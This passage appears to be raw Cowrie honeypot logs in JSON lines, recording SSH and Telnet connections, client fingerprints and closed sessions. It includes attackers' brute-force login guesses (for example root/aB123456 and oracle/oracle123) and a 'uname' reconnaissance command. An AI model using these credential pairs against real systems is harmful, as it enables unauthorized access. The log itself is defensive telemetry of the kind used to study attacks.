{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:28.392649Z","src_ip":"176.65.132.129","session":"4759b9fe93f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:28.434616Z","src_ip":"57.128.222.14","session":"14095f67e7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:28.474800Z","src_ip":"176.65.132.129","session":"4759b9fe93f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:28.811793Z","src_ip":"176.65.132.129","session":"4759b9fe93f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.550447Z","src_ip":"57.128.222.14","session":"14095f67e7fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":42568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d131d90ed87d","protocol":"ssh","message":"New connection: 57.128.222.14:42568 (159.203.135.109:22) [session: d131d90ed87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.652540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.657299Z","src_ip":"57.128.222.14","session":"d131d90ed87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.762976Z","src_ip":"57.128.222.14","session":"d131d90ed87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.858638525009155,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.801626Z","src_ip":"38.54.119.93","session":"d99a07846a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:29.895550Z","src_ip":"176.65.132.129","session":"4759b9fe93f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:30.217903Z","src_ip":"57.128.222.14","session":"d131d90ed87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:30.326922Z","src_ip":"57.128.222.14","session":"95d32557a9de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:30.333975Z","src_ip":"57.128.222.14","session":"d131d90ed87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60906,"dst_ip":"10.17.0.5","dst_port":22,"session":"468842823a1e","protocol":"ssh","message":"New connection: 176.65.132.129:60906 (10.17.0.5:22) [session: 468842823a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:31.915078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:31.919751Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.001131Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.245400Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.449814Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.453085Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.537881Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:32.542835Z","src_ip":"176.65.132.129","session":"468842823a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"3986922c8e5c","protocol":"telnet","message":"New connection: 38.60.198.128:46314 (159.203.135.109:23) [session: 3986922c8e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:34.818644Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60914,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ee4bd275ac","protocol":"ssh","message":"New connection: 176.65.132.129:60914 (10.17.0.5:22) [session: e4ee4bd275ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:35.252080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:35.257939Z","src_ip":"176.65.132.129","session":"e4ee4bd275ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:35.339901Z","src_ip":"176.65.132.129","session":"e4ee4bd275ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60854,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a97792c144f","protocol":"telnet","message":"New connection: 38.54.119.93:60854 (10.17.0.5:23) [session: 1a97792c144f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:35.459464Z"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:35.704416Z","src_ip":"176.65.132.129","session":"e4ee4bd275ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.59212923049927,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:36.637685Z","src_ip":"38.60.198.128","session":"77166198188c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:36.788194Z","src_ip":"176.65.132.129","session":"e4ee4bd275ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50608,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6ed14559e4","protocol":"telnet","message":"New connection: 38.60.198.128:50608 (159.203.135.109:23) [session: 2a6ed14559e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.445199Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":47602,"dst_ip":"10.17.0.5","dst_port":22,"session":"2394c47d77d7","protocol":"ssh","message":"New connection: 198.98.56.227:47602 (10.17.0.5:22) [session: 2394c47d77d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.510467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.515365Z","src_ip":"198.98.56.227","session":"2394c47d77d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.670472Z","src_ip":"198.98.56.227","session":"2394c47d77d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60206,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1dcc382b79","protocol":"ssh","message":"New connection: 176.65.132.129:60206 (10.17.0.5:22) [session: bc1dcc382b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.708408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.713333Z","src_ip":"176.65.132.129","session":"bc1dcc382b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:38.796070Z","src_ip":"176.65.132.129","session":"bc1dcc382b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:39.043214Z","src_ip":"176.65.132.129","session":"bc1dcc382b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginxuser","password":"nginxuser","message":"login attempt [nginxuser/nginxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:39.530495Z","src_ip":"198.98.56.227","session":"2394c47d77d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:40.128980Z","src_ip":"176.65.132.129","session":"bc1dcc382b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:40.542553Z","src_ip":"198.98.56.227","session":"2394c47d77d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60210,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37338a51146","protocol":"ssh","message":"New connection: 176.65.132.129:60210 (10.17.0.5:22) [session: b37338a51146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:42.017586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:42.022048Z","src_ip":"176.65.132.129","session":"b37338a51146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:42.103520Z","src_ip":"176.65.132.129","session":"b37338a51146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:42.348706Z","src_ip":"176.65.132.129","session":"b37338a51146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:43.432771Z","src_ip":"176.65.132.129","session":"b37338a51146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"49da39ffcda1","protocol":"ssh","message":"New connection: 176.65.132.129:60212 (10.17.0.5:22) [session: 49da39ffcda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:45.486174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:39:45.490865Z","src_ip":"176.65.132.129","session":"49da39ffcda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@open